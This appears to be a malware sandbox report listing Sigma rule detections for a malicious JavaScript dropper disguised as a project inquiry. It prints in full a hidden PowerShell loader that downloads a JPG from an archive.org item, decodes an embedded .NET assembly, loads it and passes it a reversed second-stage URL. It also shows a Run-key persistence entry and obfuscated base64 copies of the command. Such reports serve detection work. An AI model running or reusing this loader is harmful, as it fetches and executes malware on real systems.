?7? ? ? ? ?CQ? ? ? ? ?dwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?TgBl? ? ? ? ?Hc? ? ? ? ?LQBP? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?TgBl? ? ? ? ?HQ? ? ? ? ?LgBX? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C4? ? ? ? ?R? ? ? ? ?Bv? ? ? ? ?Hc? ? ? ? ?bgBs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?EQ? ? ? ? ?YQB0? ? ? ? ?GE? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBV? ? ? ? ?HI? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EU? ? ? ? ?bgBj? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?Bp? ? ? ? ?G4? ? ? ? ?ZwBd? ? ? ? ?Do? ? ? ? ?OgBV? ? ? ? ?FQ? ? ? ? ?Rg? ? ? ? ?4? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?UwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBT? ? ? ? ?FQ? ? ? ? ?QQBS? ? ? ? ?FQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ?
                      Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands
                      Source: Process startedAuthor: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.NGRO/gol/moc.onapnape//:sptth' , '1' , 'C:\ProgramData\' , 'atrophiante','RegAsm','desativado'))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.NGRO/gol/moc.onapnape//:sptth' , '1' , 'C:\ProgramData\' , 'atrophiante','RegAsm','desativado'))", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ?
                      Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet
                      Source: Process startedAuthor: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G4? ? ? ? ?bwB0? ? ? ? ?GU? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?v? ? ? ? ?GQ? ? ? ? ?ZQBh? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?Bu? ? ? ? ?G8? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?C4? ? ? ? ?agBw? ? ? ? ?Gc? ? ? ? ?Jw? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?dwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?TgBl? ? ? ? ?Hc? ? ? ? ?LQBP? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?TgBl? ? ? ? ?HQ? ? ? ? ?LgBX? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C4? ? ? ? ?R? ? ? ? ?Bv? ? ? ? ?Hc? ? ? ? ?bgBs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?EQ? ? ? ? ?YQB0? ? ? ? ?GE? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBV? ? ? ? ?HI? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EU? ? ? ? ?bgBj? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?Bp? ? ? ? ?G4? ? ? ? ?ZwBd? ? ? ? ?Do? ? ? ? ?OgBV? ? ? ? ?FQ? ? ? ? ?Rg? ? ? ? ?4? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?UwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBT? ? ? ? ?FQ? ? ? ? ?QQBS? ? ? ? ?FQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ?
                      Sigma detected: WScript or CScript Dropper
                      Source: Process startedAuthor: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4084, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\INQUIRY#46789_MAT24_NEW_PROJECT_SAMPLE.js", ProcessId: 7472, ProcessName: wscript.exe
                      Sigma detected: Change PowerShell Policies to an Insecure Level
                      Source: Process startedAuthor: frack113: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ? ? ? ?bQBz? ? ? ? ?C8? ? ? ? ?Z? ? ? ? ?Bl? ? ? ? ?GE? ? ? ? ?d? ? ? ? ?Bo? ? ? ? ?G4? ? ? ? ?bwB0? ? ? ? ?GU? ? ? ? ?Xw? ? ? ? ?y? ? ? ? ?D? ? ? ? ?? ? ? ? ?Mg? ? ? ? ?0? ? ? ? ?D? ? ? ? ?? ? ? ? ?Nw? ? ? ? ?v? ? ? ? ?GQ? ? ? ? ?ZQBh? ? ? ? ?HQ? ? ? ? ?a? ? ? ? ?Bu? ? ? ? ?G8? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?C4? ? ? ? ?agBw? ? ? ? ?Gc? ? ? ? ?Jw? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?dwBl? ? ? ? ?GI? ? ? ? ?QwBs? ? ? ? ?Gk? ? ? ? ?ZQBu? ? ? ? ?HQ? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?TgBl? ? ? ? ?Hc? ? ? ? ?LQBP? ? ? ? ?GI? ? ? ? ?agBl? ? ? ? ?GM? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?TgBl? ? ? ? ?HQ? ? ? ? ?LgBX? ? ? ? ?GU? ? ? ? ?YgBD? ? ? ? ?Gw? ? ? ? ?aQBl? ? ? ? ?G4? ? ? ? ?d? ? ? ? ?? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?aQBt? ? ? ? ?GE? ? ? ? ?ZwBl? ? ? ? ?EI? ? ? ? ?eQB0? ? ? ? ?GU? ? ? ? ?cw? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?? ? ? ? ?k? ? ? ? ?Hc? ? ? ? ?ZQBi? ? ? ? ?EM? ? ? ? ?b? ? ? ? ?Bp? ? ? ? ?GU? ? ? ? ?bgB0? ? ? ? ?C4? ? ? ? ?R? ? ? ? ?Bv? ? ? ? ?Hc? ? ? ? ?bgBs? ? ? ? ?G8? ? ? ? ?YQBk? ? ? ? ?EQ? ? ? ? ?YQB0? ? ? ? ?GE? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBV? ? ? ? ?HI? ? ? ? ?b? ? ? ? ?? ? ? ? ?p? ? ? ? ?Ds? ? ? ? ?J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?g? ? ? ? ?D0? ? ? ? ?I? ? ? ? ?Bb? ? ? ? ?FM? ? ? ? ?eQBz? ? ? ? ?HQ? ? ? ? ?ZQBt? ? ? ? ?C4? ? ? ? ?V? ? ? ? ?Bl? ? ? ? ?Hg? ? ? ? ?d? ? ? ? ?? ? ? ? ?u? ? ? ? ?EU? ? ? ? ?bgBj? ? ? ? ?G8? ? ? ? ?Z? ? ? ? ?Bp? ? ? ? ?G4? ? ? ? ?ZwBd? ? ? ? ?Do? ? ? ? ?OgBV? ? ? ? ?FQ? ? ? ? ?Rg? ? ? ? ?4? ? ? ? ?C4? ? ? ? ?RwBl? ? ? ? ?HQ? ? ? ? ?UwB0? ? ? ? ?HI? ? ? ? ?aQBu? ? ? ? ?Gc? ? ? ? ?K? ? ? ? ?? ? ? ? ?k? ? ? ? ?Gk? ? ? ? ?bQBh? ? ? ? ?Gc? ? ? ? ?ZQBC? ? ? ? ?Hk? ? ? ? ?d? ? ? ? ?Bl? ? ? ? ?HM? ? ? ? ?KQ? ? ? ? ?7? ? ? ? ?CQ? ? ? ? ?cwB0? ? ? ? ?GE? ? ? ? ?cgB0? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ? ? ? ? ?XwBT? ? ? ? ?FQ? ? ? ? ?QQBS? ? ? ? ?FQ? ? ? ? ?Pg? ? ? ? ?+? ? ? ? ?Cc? ? ? ? ?Ow? ? ? ? ?k? ? ? ? ?GU? ? ? ? ?bgBk? ? ? ? ?EY? ? ? ? ?b? ? ? ? ?Bh? ? ? ? ?Gc? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?Jw? ? ? ? ?8? ? ? ? ?Dw? ? ? ? ?QgBB? ? ? ? ?FM? ? ? ? ?RQ? ? ? ? ?2? ? ? ? ?DQ?
                      Sigma detected: CurrentVersion Autorun Keys Modification
                      Source: Registry Key setAuthor: Victor Sergeev, Daniil Yugoslavskiy, Gleb Sukhodolskiy, Timur Zinniatullin, oscd.community, Tim Shelton, frack113 (split): Data: Details: C:\ProgramData\atrophiante.js, EventID: 13, EventType: SetValue, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ProcessId: 7728, TargetObject: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Path
                      Sigma detected: Suspicious Copy From or To System Directory
                      Source: Process startedAuthor: Florian Roth (Nextron Systems), Markus Neis, Tim Shelton (HAWK.IO), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\atrophiante.js", CommandLine: "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\atrophiante.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.NGRO/gol/moc.onapnape//:sptth' , '1' , 'C:\ProgramData\' , 'atrophiante','RegAsm','desativado'))", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 7728, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /C copy *.js "C:\ProgramData\atrophiante.js", ProcessId: 7856, ProcessName: cmd.exe
                      Sigma detected: Suspicious PowerShell Invocations - Specific - ProcessCreation
                      Source: Process startedAuthor: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.NGRO/gol/moc.onapnape//:sptth' , '1' , 'C:\ProgramData\' , 'atrophiante','RegAsm','desativado'))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.NGRO/gol/moc.onapnape//:sptth' , '1' , 'C:\ProgramData\' , 'atrophiante','RegAsm','desativado'))", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? ? ? ?I? ? ? ? ?? ? ? ? ?9? ? ? ? ?C? ? ? ? ?? ? ? ? ?JwBo? ? ? ? ?HQ? ? ? ? ?d? ? ? ? ?Bw? ? ? ? ?HM? ? ? ? ?Og? ? ? ? ?v? ? ? ? ?C8? ? ? ? ?aQBh? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?x? ? ? ? ?DY? ? ? ? ?M? ? ? ? ?? ? ? ? ?2? ? ? ? ?C4? ? ? ? ?dQBz? ? ? ? ?C4? ? ? ? ?YQBy? ? ? ? ?GM? ? ? ? ?a? ? ? ? ?Bp? ? ? ? ?HY? ? ? ? ?ZQ? ? ? ? ?u? ? ? ? ?G8? ? ? ? ?cgBn? ? ? ? ?C8? ? ? ? ?MQ? ? ? ? ?w? ? ? ? ?C8? ? ? ? ?aQB0? ? ? ? ?GU? ?
                      Sigma detected: Usage Of Web Request Commands And Cmdlets
                      Source: Process startedAuthor: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.NGRO/gol/moc.onapnape//:sptth' , '1' , 'C:\ProgramData\' , 'atrophiante','RegAsm','desativado'))", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "$imageUrl = 'https://ia601606.us.archive.org/10/items/deathnote_202407/deathnote.jpg';$webClient = New-Object System.Net.WebClient;$imageBytes = $webClient.DownloadData($imageUrl);$imageText = [System.Text.Encoding]::UTF8.GetString($imageBytes);$startFlag = '<<BASE64_START>>';$endFlag = '<<BASE64_END>>';$startIndex = $imageText.IndexOf($startFlag);$endIndex = $imageText.IndexOf($endFlag);$startIndex -ge 0 -and $endIndex -gt $startIndex;$startIndex += $startFlag.Length;$base64Length = $endIndex - $startIndex;$base64Command = $imageText.Substring($startIndex, $base64Length);$commandBytes = [System.Convert]::FromBase64String($base64Command);$loadedAssembly = [System.Reflection.Assembly]::Load($commandBytes);$type = $loadedAssembly.GetType('dnlib.IO.Home');$method = $type.GetMethod('VAI').Invoke($null, [object[]] ('txt.NGRO/gol/moc.onapnape//:sptth' , '1' , 'C:\ProgramData\' , 'atrophiante','RegAsm','desativado'))", CommandLine|base64offset|contains: v,)^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'J? ? ? ? ?Bp? ? ? ? ?G0? ? ? ? ?YQBn? ? ? ? ?GU? ? ? ? ?VQBy? ? ? ? ?Gw? ? 